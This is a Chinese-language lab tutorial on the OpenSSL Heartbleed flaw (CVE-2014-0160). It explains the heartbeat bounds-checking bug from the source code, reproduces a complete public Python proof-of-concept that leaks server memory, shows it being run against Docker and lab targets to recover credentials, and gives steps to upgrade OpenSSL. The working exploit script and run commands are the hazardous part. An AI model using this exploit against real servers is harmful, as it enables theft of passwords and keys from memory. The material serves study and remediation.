openssl-heartbleed漏洞利用与修复

Heartbleed漏洞简介

Heartbleed漏洞是openssl的漏洞，这个漏洞（CVE-2014-0160）的产生是由于没有在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存中，这样一来受害者的内存内容就会以每次64K的速度进行泄露。

心跳功能介绍

正常情况下要使SSL发挥作用，需要与服务器进行通信，所以它会发送一个“heartbeat”（心跳）包，通过包内的特定信号，进行判断服务器是否存活，服务器就会向计算机返回该信号，让服务器确保安全通信。而且计算机和服务器之间会定期发送hearbeat以确定用户和服务器没有脱机。

漏洞原理

该漏洞主要问题出在heartbeat心跳检测的扩展中，在源码d1_both.c中，找到如下代码

#ifndef OPENSSL_NO_HEARTBEATS
int dtls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16;

指针p指向一条SSLv3结构体中的数据，结构体SSL3_RECORD的定义如下：
代码段1

typedef struct ssl3_record_st
{
       int type;
       unsigned int length;
       unsigned int off;
       unsigned char *data;
       unsigned char *input;
       unsigned char *comp;
       unsigned long epoch;
       unsigned char seq_num[8];
} SSL3_RECORD;

其中type为心跳包的类型，length为数据长度，data为数据正文

代码段2

hbtype = *p++;
n2s(p, payload);
pl = p;

首先获取type的心跳包的类型，类型有两种TLS1_HB_REQUEST和TLS1_HB_RESPONSE，然后使用宏n2s从指针p指向的数组中取出前两个字节，并把它们存入变量payload中，最后将变量pl指向由访问者提供的心跳包数据。

代码段3

if (hbtype == TLS1_REQUEST)
{
    unsigned char *buffer, *bp;
    int r;
    
    buffer = OPENSSL_malloc(1 + 2 + payload + padding);
    bp = buffer;
    .....
    .....
}

该代码可以分配一段由访问者指定大小的内存区域，这段空间最大为（1 + 2 + 65535 + 16）个字节，bp用来访问新分配的内存区域。

代码段4

*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;

其中宏s2n与宏n2s干的事情刚好相反：
s2n读入一个16 bit长的值，然后将它存成双字节值，所以s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload。然后程序将pl以payload为大小的长度，复制到bp中。

漏洞主要因为用户可控制变量payload和pl。该变量直接影响到了memcpy函数，导致如果用户并没有在心跳包中给足够多的数据，比如pl指向的数据只有一个字节，memcpy会将这条SSLv3后面的数据以payload为长度，复制出来（无论是什么数据）。

漏洞利用

利用脚本

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

执行结果

执行一下利用脚本

利用脚本

查看脚本利用方法，看到提示，脚本名称后接靶机地址，然后指定靶机端口即可，由于64Kb内存信息较大，我们使用重定向功能将执行结果保存到txt当中，执行代码如下

python ssltest.py 1.1.1.1 -p 443 > test.txt

访问靶机地址
https://10.1.1.136 进行登陆，如下图

登录网站

靶机使用的是合天网安实验室提供的环境

执行利用脚本

执行脚本

获取到内存的结果如下

内存中的数据

得到用户名密码，真实环境可能会获取到更多的敏感信息。

漏洞修复

这里使用的是docker搭建的靶机，靶机GitHub地址为
https://github.com/Medicean/VulApps

使用命令运行靶机

拉取镜像
docker pull medicean/vulapps:o_openssl_heartbleed
启动环境
docker run -d -p 443:443 medicean/vulapps:o_openssl_heartbleed
查看docker运行情况
docker container ls

漏洞环境

访问靶机地址
https://10.10.10.128

访问靶机

运行漏洞利用脚本测试,查看使用方法

脚本运行参数

使用命令进行测试

python opensslpoc.py -d 10.10.10.128 -p 443 > 1.txt
指定地址和端口号，将抓取的内存信息重定向到1.txt中

内存信息

证明存在漏洞

我们尝试修复漏洞
使用命令进入docker靶机命令行

docker container exec -it  agitated_agnesi /bin/bash

进入靶场shell环境

查看openssl版本

查看版本

下载新版本openssl安装文件

wget https://www.openssl.org/source/openssl-x.x.x.tar.gz

下载新版openssl

解压安装包

tar zxvf openssl-x.x.x.tar.gz

执行命令

cd openssl-x.x.x
./config
make
make install

安装成功之后
执行以下命令

mv /usr/bin/openssl /usr/bin/openssl.bak
ln -s /usr/local/bin/openssl /usr/bin/openssl
ln -s /usr/local/include/openssl /usr/include/openssl
echo "/usr/local/lib" >> /etc/ld.so.conf

创建新的软链接

测试

openssl version

运行报错

出现上图提示，执行如下命令

cp /usr/local/lib/libssl.so.1.1 /usr/lib/
cp /usr/local/lib/libcrypto.so.1.1 /usr/lib/

拷贝文件

执行命令测试

openssl version

查看版本

更新成功
如果验证还是存在漏洞，需要更新一下libssl
这里使用apt进行更新

apt-get install libssl-dev

重启Apache服务

/etc/init.d/apache2 restart

重启服务

验证修复完成

修复验证